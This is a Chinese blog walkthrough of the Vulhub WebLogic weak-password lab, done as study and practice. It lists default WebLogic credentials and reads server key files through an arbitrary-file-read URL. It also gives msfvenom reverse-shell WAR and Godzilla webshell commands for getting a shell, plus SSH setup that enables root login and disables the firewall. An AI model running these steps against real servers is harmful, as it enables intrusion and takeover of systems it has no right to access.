「Vulhub」weblogic弱密码复现

1,612 阅读8分钟

环境

在复现weblogic弱密码的漏洞前,得先查看电脑内是否存在这些环境,如果没有请下载或配置这些环境。

1. vulhub

Vulhub是一个基于dockerdocker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

官方仓库链接 :vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose (github.com)

官方文档链接:Vulhub - Docker-Compose file for vulnerability environment

2. Docker

Docker是一个开源的应用容器引擎。

它允许开发者将应用及其依赖打包到一个轻量级、可移植的容器中,然后发布到任何流行的Linux或Windows操作系统上。Docker容器的设计旨在提高自动化、性能和安全性,它们通过沙箱机制实现相互隔离,且启动迅速,资源需求低。

Orbstack 「MacOS」

由于笔者用的电脑为Mac系统,所以在此推荐一款软件,能够更快速的去打开、运行一个Docker容器。

官方网站:OrbStack · Fast, light, simple Docker & Linux on macOS

image.png

同时,我们可以采用两种方式去下载,看各位喜欢哪种方式了。

下载完后,我们打开这个软件,并在命令行中输入docker version命令,判断是否成功安装。

image.png

这样一来,我们就拥有了Docker环境。

windows

在安装Docker之前,一定要先看电脑里是否安装了WSL,没有安装的话再根据官方文档安装一下。 image.png

安装 WSL | Microsoft Learn

接着再来看下这篇微软的官方文章及安装教程:WSL 上的 Docker 容器入门 | Microsoft Learn

image.png

image.png

之后下载安装即可。

如果出现安装完Docker Desktop后,拉取镜像缓慢的问题,请搜索「docker desktop设置国内镜像地址」。

Orbstack软件为🌰:

image.png

3. Docker Compose

Mac系统

Mac系统,请用如下命令进行下载。 (ps: 由于很早之前安装的环境,忘了是否自带 Docker Compose 了)

curl -L "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose

之后进入 /usr/local/bin这个文件夹内,通过命令给予可执行权限:

chmod +x docker-compose

最后通过命令,查看是否安装成功.

image.png

windows系统

下载链接: Releases · docker/compose (github.com)

image.png 下载一个适合自己电脑的版本,放置随便一个文件夹下,并对其配置环境变量即可。

image.png

3. kali linux

Kali Linux是基于DebianLinux发行版。其内部预装了许多渗透测试软件,包括nmap 、Wireshark 、John the Ripper,以及Aircrack-ng等。是一款专门设计用于数字取证和渗透测试的专业级Linux操作系统。

下载

下载地址:Get Kali | Kali Linux

之后选择一个适合自己的版本,下载就好了。

image.png

当然,由于版本过于新,笔者建议在下载一个老版本的kali镜像,比如:2021版本。

通过过往kali镜像地址,可以下载一个老版本的镜像,笔者这里选择的是:kali-2021.4版本。

image.png 选择合适的下载即可。

安装

以MacOS Arm架构为例,使用软件parallels desktop导入镜像文件。

image.png 选中自己新下载好的镜像,然后继续安装。

image.png 选择图形化安装。

image.png 接下来就不用说了,直接无脑中文。

地区选择中国。

键盘选择汉语。

之后继续下一步。

image.png

image.png 主机名直接设置成kali就好。

image.png 配置网络这里笔者直接用localhost了。

image.png 创建非root用户,随便起个名字。

image.png 创建密码。

剩下的就是自己安装配置了。

image.png

image.png

image.png

image.png

选择结束分区设定并将修改写入磁盘,继续。

image.png

image.png

接着就开始安装了: image.png

image.png

image.png

选择第一个回车就好

输入设置的账号密码后就进入到了系统中,然后我们试着去修改root的密码。

命令: sudo passwd root

image.png

设置完root账号密码后,登陆root账号看一下是否成功。

image.png

ssh远程连接

  • 禁用防火墙

    ufw disbale

  • 永久禁用:

    systemctl disable ufw

    可能最开始并没有ufw这个,需要自己进行下载一下,也可以输入ufw,没有的话下载一个即可。

  • 启动ssh

    systemctl start ssh

  • 自启动ssh

    systemctl enable ssh

  • 修改配置文件

    vi /etc/ssh/sshd_config 添加:PermitRootLogin yes保存退出。

image.png

  • 重新启动ssh

    service ssh restart

通过ssh工具,即可成功连接。

复现

1.搭建靶场

看到这里,默认上述环境皆已经搭建完毕,也已经存在了上述这些环境并且已经开启了Orbstack或者Docker desktop

通过git下载这个仓库后,进入这个vulhub文件夹下内的weblogic下的weak_password,通过命令docker-compose up -d启动这个weak_password靶场。

image.png

注意:第一次构建的话会很慢,会下载很多东西,这是正常现象。

接下来,继续通过命令查看端口信息 docker-compose ps

image.png

能看到实际上是占用7001端口的,那么就在浏览器中输入地址查看下是否搭建成功:

image.png

或者可以根据自己本机ip,在浏览器下通过该ip访问:

image.png

image.png

结果都是一样的

2.dirsearch

dirsearch 是一个命令行工具,主要用于目录暴力破解和网络内容发现。 那么,打开kali linux,并输入dirsearch,第一次输入命令时会让下载这个,根据提示apt install 就好了。

之后,通过命令尝试暴力破解下该地址。

dirsearch -u "地址"

image.png

结果已经扫出来了,根据判断,直接在url上拼接个console

image.png

会自动重定向到这个地址/console/login/LoginForm.jsp, 显而易见,登陆页面出现了。

3.登陆

漏洞描述:利用常用弱口令暴力破解进入后台 附weblogic常用弱口令:

system:password 
weblogic:weblogic 
admin:secruity 
joe:password 
mary:password 
system:sercurity 
wlcsystem: wlcsystem 
weblogic:Oracle@123

之前通过dirsearch破解出来了其他路径,咱可以尝试下都是啥东西,咱这里呢,笔者只尝试了/hello路径。

image.png

实际上,这里会存在一个任意文件读取漏洞,这个漏洞啊可以读取服务器任意文件。在读取到密钥和密码密文以后,可以解密出后台密码。

    http://ip:7001/hello/file.jsp?path=/etc/passwd

之后就会把/etc/passwd下载出来,就比如,这样:

image.png

再然后,我们就得需要用Bp「burpsuite」软件去repeater重复发起请求了。

image.png

image.png

密文绝对路径:/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
相对路径:security/SerializedSystemIni.dat 
密钥绝对路径: /root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml 
相对路径:config/config.xml

把这俩绝对路径搞里头,替换/etc/passwd,发送。

image.png

因为使用的为MAC电脑,可能由于不适配中文字体?导致出现了这样的乱码,那么只能从Hex文件下手了,虽然可能会有一丢丢的麻烦。

image.png

点击后是这个样子的,接着我们从这个看起来是ù的字符开始,用鼠标划到最后,右键保存。

image.png

保存后,我们用软件打开,结果如下:

image.png

明显看着不是很正确,毕竟前面有2行空格,那么就想个办法去掉空格好了。

重新在Bp内看这个Hex文件,想要去掉空格的话,是不是只需要从后面保存文件就行了呢,这个需要咱一点一点实验。

image.png

复制到文件后,并用软件打开,结果如下:

image.png 没有空格了,可能这个是正确的,但是请多尝试几次,有可能会出现字节长度不一致的问题导致用一剑破解密码失败。

上述工作完成后,我们用/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml去拿到密钥。

image.png

使用一剑把文件以及密钥搞里头。

image.png

密码就破解出来了,再根据之前weblogic常用弱口令的账号,尝试一下是否能够进去。

image.png

image.png

能够看到已经成功登陆到后台了。

4.getshell

1. 第一种方法

注意:「可能需要kali linux 2021版本以下」,因为2023版本笔者并没有实现出来。

通过命令生成一个war包

msfvenom -p java/meterpreter/reverse_tcp lhost=本机kali虚拟机ip lport=4444 -f war -o java.war

image.png

然后把文件下载到本地,之后还是在kali虚拟机下msfconsole配置。

image.png

    use exploit/multi/handler  
    set payload java/meterpreter/reverse_tcp 
    set LHOST kali虚拟机ip  
    set LPORT 4444  
    run

image.png

之后回到后台,把刚才生成的war包安装进去。

image.png

image.png

image.png

image.png

然后再下一步

image.png

一直下一步,最后点击完成。

image.png

最后,去浏览器url地址访问一下这个路径,看下能不能getshell。

http://ip/java

回到kali,msfsoncole上,已经成功了。 image.png

2. 第二种方法

这种方式需要生成一个jsp,然后getshell。 因为笔者2023kali版本不行,于是最开始用的就是第二种办法。

这里选择使用BeichenDream/Godzilla: 哥斯拉 (github.com)

先生成一个jsp文件:

image.png

image.png

image.png

image.png

保存后打开文件所在位置,然后压缩成zip文件,并更名后再更改后缀为war。

Kapture 2024-04-11 at 16.42.51.gif 之后还是之前的方式去上传安装。 完成后还是打开哥斯拉,getshell

image.png

image.png

点击测试连接,会出现success的alert,代表我们已经成功了。之后再点击添加。

image.png

image.png

大功告成!